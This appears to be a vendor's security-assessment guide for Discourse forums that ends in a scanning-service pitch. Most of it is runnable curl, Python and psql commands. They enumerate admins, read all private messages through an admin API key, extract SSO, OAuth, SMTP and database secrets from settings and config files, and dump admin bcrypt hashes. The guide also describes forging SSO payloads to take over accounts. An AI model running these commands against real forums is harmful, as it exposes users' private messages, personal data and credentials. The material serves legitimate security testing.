Discourse is the most widely deployed open-source community forum platform, used by thousands of software projects, enterprises, and communities for public and private discussion. Its extensive REST API, admin email disclosure in /about.json, and SSO integration make it a rich target for security assessment. Key assessment areas: the /about.json endpoint exposes admin email addresses without authentication; Discourse API keys provide full access to all posts, private messages, user details, and admin functions; discourse.conf stores the PostgreSQL database password and Redis connection string; the users table contains bcrypt password hashes; and Discourse's SSO implementation can be bypassed if the sso_secret is weak or discoverable. This guide covers systematic Discourse security assessment.
# Discourse — unauthenticated information disclosure
DISCOURSE_URL="https://discourse.example.com"
# /about.json — exposes admin email addresses and statistics without auth
curl -s "${DISCOURSE_URL}/about.json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
about = d.get('about',{})
admins = about.get('admins',[])
mods = about.get('moderators',[])
print('Admin accounts:')
for a in admins:
print(f' {a.get(\"username\")} ({a.get(\"name\")})')
print(f'Moderators: {[m.get(\"username\") for m in mods]}')
print(f'Description: {about.get(\"description\",\"\")[:100]}')
stats = about.get('stats',{})
print(f'Users: {stats.get(\"users_count\")} topics={stats.get(\"topic_count\")} posts={stats.get(\"post_count\")}')
" 2>/dev/null
# Public user profiles — username enumeration via /u/ endpoint
USERNAME="admin"
curl -s "${DISCOURSE_URL}/u/${USERNAME}.json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('user',{})
if user:
print(f'User: {user.get(\"username\")} ({user.get(\"name\")})')
print(f'Email: {user.get(\"email\",\"(hidden)\")}')
print(f'Created: {user.get(\"created_at\")} last_seen={user.get(\"last_seen_at\")}')
print(f'Admin: {user.get(\"admin\")} moderator={user.get(\"moderator\")}')
else:
print('User not found')
" 2>/dev/null
# Check if site is in login_required mode
curl -s -o /dev/null -w "%{http_code}" "${DISCOURSE_URL}/latest.json" 2>/dev/null
# 200 = public access, 302/403 = login required
# Discourse API key authentication and admin data access
DISCOURSE_URL="https://discourse.example.com"
API_KEY="your-discourse-api-key"
API_USERNAME="system" # Use 'system' for system-level API key or admin username
# List all users — requires admin API key
curl -s "${DISCOURSE_URL}/admin/users/list/active.json?page=0&per_page=100" \
-H "Api-Key: ${API_KEY}" \
-H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Active users: {len(users)}')
for u in users[:20]:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} email={u.get(\"email\")}')
print(f' Admin: {u.get(\"admin\")} trust_level={u.get(\"trust_level\")} last_seen={u.get(\"last_seen_at\")}')
print(f' IP: {u.get(\"ip_address\")} registration_ip={u.get(\"registration_ip_address\")}')
" 2>/dev/null
# Read all private messages — requires admin API key
curl -s "${DISCOURSE_URL}/topics/private-messages/admin.json" \
-H "Api-Key: ${API_KEY}" \
-H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
topics = d.get('topic_list',{}).get('topics',[])
print(f'Private message threads: {len(topics)}')
for t in topics[:10]:
print(f' [{t.get(\"id\")}] {t.get(\"title\")} by={t.get(\"last_poster_username\")}')
" 2>/dev/null
# Site settings via API — includes SSO secret and integration tokens
curl -s "${DISCOURSE_URL}/admin/site_settings.json" \
-H "Api-Key: ${API_KEY}" \
-H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
settings = d.get('site_settings',[])
sensitive = ['sso_secret','discourse_connect_secret','google_oauth2_client_secret',
'github_client_secret','smtp_password','s3_secret_access_key']
for s in settings:
if s.get('setting') in sensitive:
print(f'{s.get(\"setting\")}: {s.get(\"value\")}')
" 2>/dev/null
# Discourse discourse.conf and database credential extraction
# discourse.conf — PostgreSQL and Redis credentials
grep -E "db_password|db_username|db_host|redis_password|secret_key_base" \
/var/discourse/containers/app.yml 2>/dev/null
# db_password — PostgreSQL database password
# redis_password — Redis server password
# secret_key_base — Rails secret key for session signing and encryption
# Or in production via docker
docker exec app grep -E "DISCOURSE_DB_PASSWORD|DISCOURSE_REDIS_PASSWORD" \
/etc/discourse.conf 2>/dev/null 2>/dev/null
# PostgreSQL access — user data including bcrypt hashes
PGPASSWORD="db_password" psql -U discourse -h localhost discourse 2>/dev/null << 'EOF'
SELECT id, username, email, password_hash, salt,
admin, moderator, trust_level, last_seen_at, ip_address
FROM users
WHERE admin = true
LIMIT 20;
EOF
# password_hash — bcrypt password hash (cost factor 12+ on modern Discourse)
# SSO secret from database settings — enables DiscourseSSO bypass
PGPASSWORD="db_password" psql -U discourse -h localhost discourse 2>/dev/null << 'EOF'
SELECT name, value FROM site_settings
WHERE name IN ('sso_secret', 'discourse_connect_secret',
'smtp_password', 'google_oauth2_client_secret',
'github_client_secret', 's3_secret_access_key');
EOF
| Security Test | Method | Risk |
|---|---|---|
| Admin email disclosure via /about.json | GET /about.json without authentication — returns admin and moderator usernames, names, and avatars; enables identification of admin accounts for targeted credential attacks and social engineering | Medium |
| Admin user enumeration and email extraction via API | GET /admin/users/list with API key — returns all user accounts with email addresses, registration IPs, last seen IPs, admin/moderator status, and trust levels | Critical |
| Private message content access via admin API | GET /topics/private-messages with admin API key — returns all private message threads for any user; private PMs between users and admin are fully readable | Critical |
| SSO secret extraction enabling account takeover | Read site_settings table — sso_secret/discourse_connect_secret; craft HMAC-signed SSO payload for any user account; enables admin account takeover via DiscourseConnect bypass | Critical |
| app.yml credential extraction | Read /var/discourse/containers/app.yml — db_password, redis_password, smtp_password, secret_key_base; secrets enable database access, session forgery, email spoofing | Critical |
Ironimo tests Discourse deployments for unauthenticated admin disclosure via /about.json, API key user and private message enumeration, SSO secret extraction for DiscourseConnect bypass, app.yml credential access, secret_key_base session forgery testing, user enumeration via /u/ endpoint, plugin security assessment, login_required bypass testing, and bcrypt hash extraction from the users table.
Start free scan